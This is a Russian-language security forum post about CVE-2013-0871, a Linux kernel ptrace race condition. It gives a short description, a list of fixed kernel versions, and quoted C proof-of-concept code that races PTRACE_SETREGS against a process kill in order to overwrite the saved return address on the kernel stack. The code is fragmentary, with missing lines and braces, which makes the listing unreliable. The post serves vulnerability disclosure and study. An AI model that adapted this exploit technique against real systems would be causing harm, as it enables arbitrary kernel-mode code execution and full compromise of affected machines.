Старый 16.02.2013, 11:09   #1
Регистрация: 11.07.2010
Сообщений: 954
Репутация: 352
По умолчанию CVE-2013-0871 Linux kernel stack corruption due to race condition with PTRACE_SETREGS


A race conditon in ptrace can lead to kernel stack corruption and arbitrary
kernel-mode code execution.
Можно перезаписать rip в стэке ядра, если удастся выиграть race condition. В письме для наглядной демонстрации предлагается внести в ядро специальную задержку, чтобы проще было выиграть гонку, поэтому возможно эксплуатация будет сложной.

Коммиты, исправляющие баг, - от 21-го января 2013.

Исправлено в 3.7.5, 3.4.28 от 27-го января.
3.0.61 вышла вместе с ними, но в ней не исправлено (возможно потому что ветка 3.0 не уязвима?).

Также исправлено в 3.2.39 от 20 февраля, и в (ветка Ubuntu) от 8 февраля.


 * Repro case for SETREGS arbitrary ring zero execution bug.
 * The specific scenario that we attempt to create:
 * V does a syscall.  It is being traced by P.  P
 * upon stopping V with PTRACE_SYSCALL and waiting for it, proceeds
 * to read its registers.  At this time P is asleep and an RT process S
 * starts running.
 * Then P proceeds to write V's registers, at shortly it has done this
 * another process K kills V.  Process S goes to sleep permitting V
 * space to run.  V wakes up from its waiting state and heads for the exit.
 *  But, S quickly wakes up again by the time V has reached schedule().  V
 * is no longer running (since S has the CPU)
 *  and P modifies its regs.  When V finally starts running
 * and returns from schedule(), it pops an incorrect value from the
 * stack.  The reason is that the stack on which schedule() is called
 * does not have the final 6 registers in pt_regs on it.  That means that
 * when P modifies V's registers, it is actually overwriting the stack
 * frame saved for schedule(), including the return RIP.
 * V and S and pinned to CPU 0.  S is an RT task so that it can control
 * when V does and doesn't run.
 * remaining processes are not allowed on 0.

#include <sched.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <signal.h>

/* S */
int nuke_cpu(void)
        int pid0;
        int i;
        unsigned long mask = 1;

        pid0 = fork();
        if (!pid0) {
                struct sched_param p = {};
                p.sched_priority = sched_get_priority_min(SCHED_FIFO);
                assert(!sched_setscheduler(0, SCHED_FIFO, &p));
                assert(!sched_setaffinity(0, sizeof(mask), &mask));
                i = 0;
                while(1) {
                        if (i == 50000) {

        return pid0;


int once()
        long i;
        int pid0;
        int pid;
        unsigned long mask = 1;
        struct user_regs_struct regs;
        assert(!sched_setaffinity(0, sizeof(mask), &mask));

        pid = fork();

        if (!pid) {
                /* V */
                while (1) {
                        /* Put our chosen RIP in callee saved registers */
                        asm __volatile__ (
                                "mov $0x1eadbeef, %%rbx\n"
                                "mov $0x1eadbeef, %%rbp\n"
                                "mov $0x1eadbeef, %%r12\n"
                                "mov $0x1eadbeef, %%r13\n"
                                "mov $0x1eadbeef, %%r14\n"
                                "mov $0x1eadbeef, %%r15\n"
                                "mov $0, %%rsi\n"
                                "mov $0, %%rdi\n"
                                "mov $0x6d, %%rax\n"
                                                "r12", "rbx");

        } else {
                /* P */
                assert(!ptrace(PTRACE_ATTACH, pid, 0, 0));
                assert(!ptrace(PTRACE_SETOPTIONS, pid, NULL,
                        PTRACE_O_TRACESYSGOOD |
                        PTRACE_O_TRACEFORK |
                        PTRACE_O_TRACEVFORK |
                while(1) {
                        int nuke_pid;
                        int pid2;
                        mask = 0xfffe;
                        assert(!sched_setaffinity(0, sizeof(mask), &mask));
                        /*Entry */
                        assert(!ptrace(PTRACE_SYSCALL, pid, NULL, 0, 0));
                        assert(!ptrace(PTRACE_GETREGS, pid, NULL, &regs));

                        nuke_pid = nuke_cpu();

                        regs.orig_rax = 0x3c;

                        pid2 = fork();
                        if (!pid2) {
                                /* K */
                                kill(pid, SIGKILL);
                        if (!ptrace(PTRACE_SETREGS, pid, NULL, &regs)) {
                        } else {

                        ptrace(PTRACE_CONT, pid, NULL, 0, SIGKILL);
                        kill(pid, SIGKILL);
                        kill(pid2, SIGKILL);
                        kill(nuke_pid, SIGKILL);

int main(void) {

        while (1) {
                int pid = fork();
                if (!pid) {

Последний раз редактировалось SynQ; 22.02.2013 в 11:26.. Причина: добавил про ветку 3.2 и 3.5.7
SynQ вне форума   Ответить с цитированием

exploit, kernel, linux

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2022, Jelsoft Enterprises Ltd. Перевод: zCarot